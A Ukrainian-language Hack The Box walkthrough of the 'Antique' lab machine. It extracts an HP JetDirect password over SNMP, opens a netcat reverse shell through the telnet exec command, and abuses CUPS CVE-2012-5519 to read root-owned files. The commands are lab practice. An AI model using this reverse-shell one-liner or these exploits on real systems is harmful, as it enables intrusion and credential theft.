Проходження Hack The Box | Antique

Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.

Розвідка

Традиційно, починаємо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT      STATE SERVICE REASON             VERSION
23/tcp    open  telnet? syn-ack ttl 63
161/udp   open  snmp    udp-response ttl 63 SNMPv1 server (public)

Цікаво, зазвичай, якщо на машині відкритий SNMP порт, то там ми маємо знайти якусь корисну інформацію, наприклад паролі, імена користувачів, дані про систему або процеси тощо.

Але поки що єдине, що вдалось знайти за допомогою snmpwalk, це:

snmpwalk -c public -v 1 x.x.x.x 2>&1
iso.3.6.1.2.1 = STRING: "HTB Printer"

Схоже на машині запущений сервіс принтера. Інформації не багацько. Спробуємо встановити telnet з’єднання:

$ telnet x.x.x.x                                                      
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.

HP JetDirect

Password:

Бачимо, що для встановлення з’єднання потрібен пароль. Прості паролі типу admin/password/123456 не пройшли, тож спробуємо пошукати вразливості для “HP JetDirect“, які можуть бути у відкритому доступі.

ExploitDB як завжди нас виручає - HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure.

CVE-2002-1048 - HP JetDirect принтери дозволяють віддаленому користувачу отримати пароль адміністратора для веб і telnet сервісів шляхом виконання GET запиту на отримання значення яке відповідає OID .1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0.

Пазл склався, повторимо попередній запит snmpwalk, тільки тепер вказуємо змінну, яка повинна містити пароль адміністратора:

snmpwalk -c public -v 1 x.x.x.x .1.3.6.1.4.1.11.2.3.9.1.1.13.0 2>&1                                
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 

Первинне проникнення

Декодувавши Hex значення отримане на попередньому кроці, встановлюємо автентифіковане telnet з’єднання:

$ telnet x.x.x.x                                                    
Trying x.x.x.x ...
Connected to x.x.x.x.
Escape character is '^]'.

HP JetDirect

Password: hehehehe

Please type "?" for HELP
>

Переглянемо доступні дії на цій машині:

> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session

Найцікавішою для нас тут, звісно, є exec 🙂 Налаштовуємо netcat у режимі прослуховування порту і запустимо на цільовій машині команду для встановлення зворотного з’єднання на нашу машину:

> exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc y.y.y.y 4444 >/tmp/f

Отримуємо з’єднання:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.20] from (UNKNOWN) [10.129.138.116] 34084
/bin/sh: 0: can't access tty; job control turned off
$ whoami
lp

Підвищення привілеїв

Продовжуємо збір даних на цільовій машині з метою пошуку можливого вектора підвищення привілеїв. На локальному хості є відкритий порт 631:

$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 10.129.138.116:34084    10.10.14.20:4444        ESTABLISHED off (0.00/0/0)
tcp        0      0 10.129.138.116:23       10.10.14.20:57766       ESTABLISHED off (0.00/0/0)
tcp6       0      0 ::1:631                 :::*                    LISTEN      off (0.00/0/0)
udp        0      0 10.129.138.116:54797    8.8.8.8:53              ESTABLISHED off (0.00/0/0)
udp        0      0 0.0.0.0:68              0.0.0.0:*                           off (0.00/0/0)
udp        0      0 0.0.0.0:161             0.0.0.0:*                           off (0.00/0/0)

Трохи по розвідувавши про цей порт у мережі, дізнаємось, що ймовірно це Протокол Інтернет-друку (IPP). Що цікаво, у цьому джерелі також зазначено наступне:

Відома реалізація IPP - CUPS, відкрита система друку, яка поширена в різних дистрибутивах Linux та OS X.

Це привернуло мою увагу, тому що у списку запущених процесів фігурує такий запис:

USER  PID %CPU %MEM    VSZ   RSS TTY STAT START   TIME COMMAND                                     
root  1163  0.0  0.0  20392  3396 ?  Ss   09:13   0:00 /usr/sbin/cupsd -C /etc/cups/cupsd.conf  

Знахідка виглядає потенційною, адже процес запущений під користувачем root, а отже скомпрометувавши його, є шанс виконати якісь дії від його імені. Спробуємо дізнатись більше про цей сервіс:

$ curl http://localhost:631

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
        <TITLE>Home - CUPS 1.6.1</TITLE>
        <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
        <LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
</HEAD>

Виявляється, що версія CUPS 1.6.1 має вразливість CVE-2012-5519.

CVE-2012-5519 - сервіс CUPS <1.6.2, запущений на певних Linux дистрибутивах таких як Debian GNU/Linux, зберігає ключі адміністратора вебінтерфейсу у /var/run/cups/certs/0, використовуючи права доступу, які дозволяють локальним користувачам, які є членами lpadmin групи, читати довільні файли з правами користувача root.

За щасливим збігом обставин, наш поточний користувач є членом lpadmin групи, тож спробуємо застосувати знайдений у мережі експлойт:

$ id

uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
$ ./cups-root-file-read.sh
                                            _
  ___ _   _ _ __  ___       _ __ ___   ___ | |_                                                                
 / __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____                                                           
| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|                                                          
 \___|\__,_| .__/|___/     |_|  \___/ \___/ \__|                                                               
 / _(_) | _|_|      _ __ ___  __ _  __| |  ___| |__                                                            
| |_| | |/ _ \_____| '__/ _ \/ _` |/ _` | / __| '_ \                                                           
|  _| | |  __/_____| | |  __/ (_| | (_| |_\__ \ | | |                                                          
|_| |_|_|\___|     |_|  \___|\__,_|\__,_(_)___/_| |_|                                                          
a bash implementation of CVE-2012-5519 for linux.

[i] performing checks...
[i] checking for cupsctl command...
[+] cupsctl binary found in path.                                                                              
[i] checking cups version...
[+] using cups 1.6.1. version may be vulnerable.                                                               
[i] checking user lp in lpadmin group...
[+] user part of lpadmin group.                                                                                
[i] checking for curl command...
[+] curl binary found in path.                                                                                 
[+] all checks passed.                                                                                         
                                                                                                               
[!] warning!: this script will set the group ownership of                                                      
[!] viewed files to user 'lp'.                                                                                 
[!] files will be created as root and with group ownership of                                                  
[!] user 'lp' if a nonexistant file is submitted.                                                              
[!] changes will be made to /etc/cups/cups.conf file as part of the                                            
[!] exploit. it may be wise to backup this file or copy its contents                                           
[!] before running the script any further if this is a production                                              
[!] environment and/or seek permissions beforehand.                                                            
[!] the nature of this exploit is messy even if you know what you're looking for.                              

[i] usage:
        input must be an absolute path to an existing file.
        eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow
        4. /etc/sudoers ... etc.
[i] ./cups-root-file-read.sh commands:
        type 'info' for exploit details.
        type 'help' for this dialog text.
        type 'quit' to exit the script.
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md
[>] /root/.ssh/id_rsa                                                                                          
[!] the server is returning a 404 status code.
[!] your input may contain a nonexistent directory or perhaps                                                  
[!] you have pointed towards a directory instead of a file.                                                    
[i] type 'help' for examples, or
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md

[>] /root/root.txt                                                                                             
[+] contents of /root/root.txt:
hehehehe

Таким чином, нам вдалось забрати прапорець, який лежав у домашній директорії root користувача, але повної влади ми все ж не отримали. Впевнена, що можливо знайти шлях до повного root, але якщо навіть офіційний Write-up зупинився на цьому, то зупинюсь і я, бо по попереду ще багатенько машин і різноманітних викликів.

Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

37Прочитань
4Автори
1Читачі
На Друкарні з 15 червня

Більше від автора

  • Проходження Hack The Box | Blocky

    Blocky - Linux машина легкого рівня. Якщо провести ретроспективу, то шлях від розвідки до отримання прав root користувача доволі простий, але те, що на машині є певна кількість кролячих нір, зробило її цікавою ціллю для практики.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Nibbles

    Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Return

    Return - Windows машина легкого рівня. З небагатьох машин, які мені довелось пройти на цей час - це машина з найлегшим первинним проникненням до системи. Це саме той випадок, коли складність дійсно відповідає Easy.

    Теми цього довгочиту:

    Htb

Вам також сподобається

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Вам також сподобається